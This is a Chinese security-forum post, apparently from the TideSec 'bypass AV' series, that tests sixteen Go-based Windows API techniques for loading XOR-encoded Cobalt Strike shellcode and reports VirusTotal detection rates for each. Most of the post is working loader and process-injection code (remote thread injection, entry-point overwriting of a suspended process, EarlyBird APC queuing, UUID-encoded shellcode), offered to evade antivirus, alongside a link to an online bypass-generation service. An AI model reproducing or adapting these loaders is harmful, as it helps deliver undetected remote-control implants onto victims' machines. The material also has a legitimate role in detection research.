|
本帖最后由 margin 于 2022-8-18 23:53 编辑
远控免杀专题(76)-基于Go的各种API免杀测试
免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/
0x01 基于API的免杀测试1.1 介绍目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。
基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。
本次所有测试代码:https://github.com/TideSec/GoBypassAV/下的Go_Windows_API目录,所有代码均可单独编译运行。
通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。
潮影在线免杀平台:http://bypass.tidesec.com/
编辑
1.2 测试环境本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。
- 测试环境:Win10 x64
- shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码
- Golang版本:1.18.3
- 测试参数:使用go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" 编译生成
- 说明:方便对比起见,本次测试均未结合其他免杀方式。
CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoByp ... cryption/xor/xor.go
1.3 测试结果测试使用的平台为VT平台:https://virustotal.com/
编辑
API介绍部分参考piiperxyz大佬的https://github.com/piiperxyz/AniYa。
0x02 不同API的免杀测试情况2.00 HelloTide测试(VT免杀率7/70)测试之前先用helloTide测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race参数做到基本0免杀,但现在加上-race参数只会查杀更厉害。
编辑
package mainimport "fmt"func main(){ fmt.Println("Hello Tide")}
2.01 CreateFiber(VT免杀率18/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
- CreateFiber := kernel32.NewProc("CreateFiber")
- SwitchToFiber := kernel32.NewProc("SwitchToFiber")
- fiberAddr, _, _ := ConvertThreadToFiber.Call()
- addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
- _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- oldProtect := PageReadwrite
- _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
- fiber, _, _ := CreateFiber.Call(0, addr, 0)
- _, _, _ = SwitchToFiber.Call(fiber)
- _, _, _ = SwitchToFiber.Call(fiberAddr)
复制代码
2.02 CreateProcessWithPipe(VT免杀率8/70) 编辑
核心代码
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
- errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
- addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
复制代码
2.03 CreateRemoteThread(VT免杀率8/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
- pHandle, _ := windows.OpenProcess(
- windows.PROCESS_CREATE_THREAD|
- windows.PROCESS_VM_OPERATION|
- windows.PROCESS_VM_WRITE|
- windows.PROCESS_VM_READ|
- windows.PROCESS_QUERY_INFORMATION,
- false,
- uint32(pid),
- )
- addr, _, _ := VirtualAllocEx.Call(
- uintptr(pHandle),
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
- )
- fmt.Println("ok")
- _, _, _ = WriteProcessMemory.Call(
- uintptr(pHandle),
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
- oldProtect := windows.PAGE_READWRITE
- _, _, _ = VirtualProtectEx.Call(
- uintptr(pHandle),
- addr,
- uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- _, _, _ = CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
- _ = windows.CloseHandle(pHandle
复制代码
2.04 CreateRemoteThreadEx(VT免杀率9/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- OpenProcess := kernel32.NewProc("OpenProcess")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
- CloseHandle := kernel32.NewProc("CloseHandle")
- pHandle, _, _ := OpenProcess.Call(
- windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|
- windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0,
- uintptr(uint32(pid)),
- )
- addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
- fmt.Println("ok")
- _, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)))
- oldProtect := windows.PAGE_READWRITE
- _, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
- _, _, _ = CreateRemoteThreadEx.Call(pHandle, 0, 0, addr, 0, 0, 0)
- _, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
复制代码
2.05 CreateThread(VT免杀率8/70) 编辑
核心代码
- addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- var oldProtect uint32
- _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- CreateThread := kernel32.NewProc("CreateThread")
- thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
- _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
复制代码
2.06 CreateThreadNative(VT免杀率8/69) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- CreateThread := kernel32.NewProc("CreateThread")
- WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
- addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
- MemCommit|MemReserve, PageReadwrite)
- _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)))
- oldProtect := PageReadwrite
- _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead,
- uintptr(unsafe.Pointer(&oldProtect)))
- thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
- _, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
复制代码
2.07 CreatProcess(VT免杀率8/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
- procInfo := &windows.ProcessInformation{}
- startupInfo := &windows.StartupInfo{
- Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
- ShowWindow: 1,
- }
- appName, _ := syscall.UTF16PtrFromString(program)
- commandLine, _ := syscall.UTF16PtrFromString("")
- _ = windows.CreateProcess(
- appName,
- commandLine,
- nil,
- nil,
- true,
- windows.CREATE_SUSPENDED,
- nil,
- nil,
- startupInfo,
- procInfo,
- )
- addr, _, _ := VirtualAllocEx.Call(
- uintptr(procInfo.Process),
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
- )
- fmt.Println("ok")
- _, _, _ = WriteProcessMemory.Call(
- uintptr(procInfo.Process),
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
- oldProtect := windows.PAGE_READWRITE
- _, _, _ = VirtualProtectEx.Call(
- uintptr(procInfo.Process),
- addr,
- uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- var processInformation ProcessBasicInformation
- var returnLength uintptr
- _, _, _ = NtQueryInformationProcess.Call(
- uintptr(procInfo.Process),
- 0,
- uintptr(unsafe.Pointer(&processInformation)),
- unsafe.Sizeof(processInformation),
- returnLength,
- )
- ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
- var peb PEB
- var readBytes int32
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- processInformation.PebBaseAddress,
- uintptr(unsafe.Pointer(&peb)),
- unsafe.Sizeof(peb),
- uintptr(unsafe.Pointer(&readBytes)),
- )
- var dosHeader ImageDosHeader
- var readBytes2 int32
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- peb.ImageBaseAddress,
- uintptr(unsafe.Pointer(&dosHeader)),
- unsafe.Sizeof(dosHeader),
- uintptr(unsafe.Pointer(&readBytes2)),
- )
- var Signature uint32
- var readBytes3 int32
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
- uintptr(unsafe.Pointer(&Signature)),
- unsafe.Sizeof(Signature),
- uintptr(unsafe.Pointer(&readBytes3)),
- )
- var peHeader ImageFileHeader
- var readBytes4 int32
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
- uintptr(unsafe.Pointer(&peHeader)),
- unsafe.Sizeof(peHeader),
- uintptr(unsafe.Pointer(&readBytes4)),
- )
- var optHeader64 ImageOptionalHeader64
- var optHeader32 ImageOptionalHeader32
- var readBytes5 int32
- if peHeader.Machine == 34404 {
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
- uintptr(unsafe.Pointer(&optHeader64)),
- unsafe.Sizeof(optHeader64),
- uintptr(unsafe.Pointer(&readBytes5)),
- )
- } else if peHeader.Machine == 332 {
- _, _, _ = ReadProcessMemory.Call(
- uintptr(procInfo.Process),
- peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
- uintptr(unsafe.Pointer(&optHeader32)),
- unsafe.Sizeof(optHeader32),
- uintptr(unsafe.Pointer(&readBytes5)),
- )
- }
- var ep uintptr
- if peHeader.Machine == 34404 {
- ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
- } else if peHeader.Machine == 332 {
- ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
- }
- var epBuffer []byte
- var shellcodeAddressBuffer []byte
- if peHeader.Machine == 34404 {
- epBuffer = append(epBuffer, byte(0x48))
- epBuffer = append(epBuffer, byte(0xb8))
- shellcodeAddressBuffer = make([]byte, 8)
- binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
- epBuffer = append(epBuffer, shellcodeAddressBuffer...)
- } else if peHeader.Machine == 332 {
- epBuffer = append(epBuffer, byte(0xb8))
- shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
- binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
- epBuffer = append(epBuffer, shellcodeAddressBuffer...)
- }
- epBuffer = append(epBuffer, byte(0xff))
- epBuffer = append(epBuffer, byte(0xe0))
- _, _, _ = WriteProcessMemory.Call(
- uintptr(procInfo.Process),
- ep,
- uintptr(unsafe.Pointer(&epBuffer[0])),
- uintptr(len(epBuffer)),
- )
- _, _ = windows.ResumeThread(procInfo.Thread)
- _ = windows.CloseHandle(procInfo.Process)
- _ = windows.CloseHandle(procInfo.Thread)
复制代码
2.08 EarlyBird(VT免杀率6/69) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- QueueUserAPC := kernel32.NewProc("QueueUserAPC")
- procInfo := &windows.ProcessInformation{}
- startupInfo := &windows.StartupInfo{
- Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
- ShowWindow: 1,
- }
- program, _ := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
- args, _ := syscall.UTF16PtrFromString("")
- _ = windows.CreateProcess(
- program,
- args,
- nil, nil, true,
- windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
- addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
- fmt.Println("ok")
- _, _, _ = WriteProcessMemory.Call(uintptr(procInfo.Process), addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- oldProtect := windows.PAGE_READWRITE
- _, _, _ = VirtualProtectEx.Call(uintptr(procInfo.Process), addr,
- uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
- _, _, _ = QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
- _, _ = windows.ResumeThread(procInfo.Thread)
- _ = windows.CloseHandle(procInfo.Process)
- _ = windows.CloseHandle(procInfo.Thread)
复制代码
2.09 EtwpCreateEtwThread(VT免杀率9/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
- WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
- addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
- MemCommit|MemReserve, PageReadwrite)
- _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)))
- oldProtect := PageReadwrite
- _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)),
- PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
- thread, _, _ := EtwpCreateEtwThread.Call(addr, uintptr(0))
- _, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
复制代码
2.10 HeapAlloc(VT免杀率18/70) 编辑
核心代码
- shellSize := uintptr(len(shellcode))
- handle, _, _ := RtlCreateHeap.Call(0x00040000|0x00000002, 0, shellSize, shellSize, 0, 0)
- alloc, _, _ := RtlAllocateHeap.Call(handle, 0x00000008, shellSize)
- for index := uint32(0); index < uint32(len(shellcode)); index++ {
- writePtr := unsafe.Pointer(alloc + uintptr(index))
- v := (*byte)(writePtr)
- *v = shellcode[index]
- }
- _, _, _ = syscall.Syscall(alloc, 0, 0, 0, 0)
复制代码
2.11 NtQueueApcThreadEx(VT免杀率9/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- GetCurrentThread := kernel32.NewProc("GetCurrentThread")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
- addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
- fmt.Println("ok")
- _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- oldProtect := PageReadwrite
- _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
- thread, _, _ := GetCurrentThread.Call()
- _, _, _ = NtQueueApcThreadEx.Call(thread, 1, addr, 0, 0, 0)
复制代码
2.12 ProcCryptProtectMemory(VT免杀率18/70) 编辑
核心代码
- addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
- if err != nil && err.Error() != "The operation completed successfully." {
- syscall.Exit(0)
- }
- time.Sleep(2 * time.Second)
- _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
- procCryptProtectMemory.Call(uintptr(addr), uintptr(len(charcode)), uintptr(0x00))
- if err != nil && err.Error() != "The operation completed successfully." {
- syscall.Exit(0)
- }
- time.Sleep(2 * time.Second)
- syscall.Syscall(addr, 0, 0, 0, 0)
复制代码
2.13 RtlCreateUserThread(VT免杀率8/69) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
- OpenProcess := kernel32.NewProc("OpenProcess")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
- CloseHandle := kernel32.NewProc("CloseHandle")
- pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|
- windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
- 0, uintptr(uint32(pid)))
- addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
- fmt.Println("ok")
- _, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)))
- oldProtect := windows.PAGE_READWRITE
- _, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
- var tHandle uintptr
- _, _, _ = RtlCreateUserThread.Call(pHandle, 0, 0, 0, 0, 0, addr, 0,
- uintptr(unsafe.Pointer(&tHandle)), 0)
- _, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
复制代码
2.14 RtlMoveMemory(VT免杀率17/70) 编辑
核心代码
- addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
- if addr == 0 {
- checkErr(err)
- }
- _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- checkErr(err)
- for j := 0; j < len(shellcode); j++ {
- shellcode[j] = 0
- }
- for j := 0; j < len(shellcode); j++ {
- shellcode[j] = 0
- }
- syscall.Syscall(addr, 0, 0, 0, 0)
复制代码
2.15 SyscallUnsafe(VT免杀率16/70) 编辑
核心代码
- func run(scd []byte) {
- ff := func() {}
- var oldfperms uint32
- if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
- }
- **(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
- var old uint32
- if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
- }
- ff()
- }
复制代码
2.16 UuidFromString(VT免杀率19/70) 编辑
核心代码
- kernel32 := windows.NewLazySystemDLL("kernel32")
- rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
- heapCreate := kernel32.NewProc("HeapCreate")
- heapAlloc := kernel32.NewProc("HeapAlloc")
- enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
- uuidFromString := rpcrt4.NewProc("UuidFromStringA")
- heapAddr, _, _ := heapCreate.Call(0x00040000, 0, 0)
- addr, _, _ := heapAlloc.Call(heapAddr, 0, 0x00100000)
- addrPtr := addr
- for _, temp := range uuids {
- u := append([]byte(temp), 0)
- _, _, _ = uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
- addrPtr += 16
- }
- _, _, _ = enumSystemLocalesA.Call(addr, 0)
复制代码
0x03 测试小结发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。
比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode就是用了上面2.15 SyscallUnsafe的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。
所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。
0x04 参考资料本文内容参考节选自以下资料:
go-shellcode:https://github.com/Ne0nd0g/go-shellcode
GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV
windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm
AniYa免杀:https://github.com/piiperxyz/AniYa
golang免杀初尝试:https://xz.aliyun.com/t/11279
|
|